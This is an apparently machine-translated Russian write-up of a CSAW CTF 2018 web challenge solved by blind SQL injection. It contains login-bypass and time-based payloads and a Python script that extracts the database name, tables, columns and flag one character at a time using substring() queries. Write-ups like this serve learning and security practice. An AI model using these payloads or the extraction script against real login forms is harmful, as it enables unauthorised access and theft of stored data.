Достаточно взглянуть на BLINDasabat
и текст вопроса, чтобы понять, что эта задача основана на слепом внедрении SQL.
При переходе по указанной ссылке мы представляем форму входа в систему.
Так, как продолжить, мы должны выяснить ответ правильных запросов против что неправильных запросов. Просто попробовав admin
в качестве имени пользователя и ' or ''='
в качестве пароля, мы перенаправляемся на новую страницу, где говорится, что мы вошли в систему.
Таким образом, мы обнаружили, как правильный запрос будет реагировать. Теперь, когда вводятся случайные учетные данные (в надежде, что они на самом деле неправильные), на сайте говорится: Incorrect username or password
Теперь, когда у нас есть как действительные, так и недействительные ответы, на всякий случай я попробовал логический запрос на основе времени: -1' or sleep(5) --
. Это сработало! Веб-страница загружается только после того, как около 5 секунд. Теперь я в написании сценариев!
Сначала я должен был настроить запрос сеанса (установить все куки в нормальной сессии).
import requests import string letters = string.ascii_lowercase + string.ascii_uppercase + "1234567890{}_?," URL = "http://web.chal.csaw.io:10101/auth/login" cookie = { "CSAW-CTF-2018-QUALS-SSO":"xxxxxxxx", "CSAW-CTF-2018-QUALS-SSO.sig":"xxxx" } counter = 0 # Keeps a track of the letters tried. letter_counter = 1 # Keeps a track of which index is being leaked final = "" # Holds the final string retrieved
Я определил все возможные буквы, которые могут быть, возможно, там, в полях, которые я собирался просочиться.
Теперь, я определил два вложенных while True
петли (бесконечные циклы). Первый из которых, когда одна буквы поля была найдена. Внутренний повторяет все возможные буквы, которые я определил выше.
Для проверки я использовал Whoa
в качестве валидатора правильного ответа (поскольку это была строка на странице, на которую мы были перенаправлены при успешной попытке входа в систему) и Incorrect
в качестве валидатора неверного ответа.
while True: while True: if counter > len(letters): break current = letters[counter] data = { "username": "-1' or substring(database()," + str(letter_counter) + ",1)=\"" + current + "\" -- ", "password": "lol", } req = requests.post(URL, cookies=cookie, data=data) if "Incorrect" in req.text: counter += 1 elif "Whoa" in req.text: final += current letter_counter += 1 counter = 0 break print(final)
Я мог бы использовать многопоточность, чтобы ускорить процесс, но да, как вы уже догадались, мне было лень. С чашкой кофе в руке и netflix на экране ожидание не было проблемой!
Хороший! мы получили название DB!
Теперь я обновил запрос на отправку поля, чтобы получить все таблицы в БД look_here
Таким образом, полезная нагрузка выглядела так:
data = { "username": "-1' or substring((select group_concat(table_name) from information_schema.tables where table_schema=\"look_here\")," + str(letter_counter) + ",1)=\"" + current + "\" -- ", "password": "lol", }
Чтобы немного разбить запрос, я использовал функцию подстроки (которая возвращает часть указанной строки), где строка является ответом на запрос SQL, который возвращает таблицы в базе данных look_here
. Я перебираю каждый из строковых индексов, чтобы узнать, какая буква дает правильный ответ (Woah
).
Опять же, по прошествии значительного количества времени, я получил таблицы внутри БД.
Таблица look_in_here
должна указывать в правильном направлении, поэтому я перечислил эту таблицу дальше, изменив полезную нагрузку для извлечения столбцов в этой таблице.
Обновленная полезная нагрузка выглядела так:
data = { "username": "-1' or substring((select group_concat(column_name) from information_schema.columns where table_name=\"look_in_here\")," + str(letter_counter) + ",1)=\"" + current + "\" -- ", "password": "lol", }
Практически то же самое, что и запрос, используемый для извлечения имен таблиц. Вот что у меня получилось:
Теперь, когда у меня тоже есть столбец, мне просто нужно было извлечь значения из таблицы look_in_here
в столбце flag
.
Обновленная полезная нагрузка:
data = { "username": "-1' or substring((select binary group_concat(flag) from look_in_here)," + str(letter_counter) + ",1)=\"" + current + "\" -- ", "password": "lol", }
Здесь я тратил впустую большую часть своего времени. На запуске сценария в первый раз, я получил флаг. Но его не приняли. Я не мог понять, что случилось. Примерно через 30 минут меня осенило, что я не использовал binary
в своих запросах. Таким образом, даже если буква в флаге была прописной, она вернет истину, даже если будет отправлена строчная буква (и наоборот). После добавления binary
на запрос, я был представлен с флагом: flag{nOW_W45N7_7h47_547I5fyiN9?}
!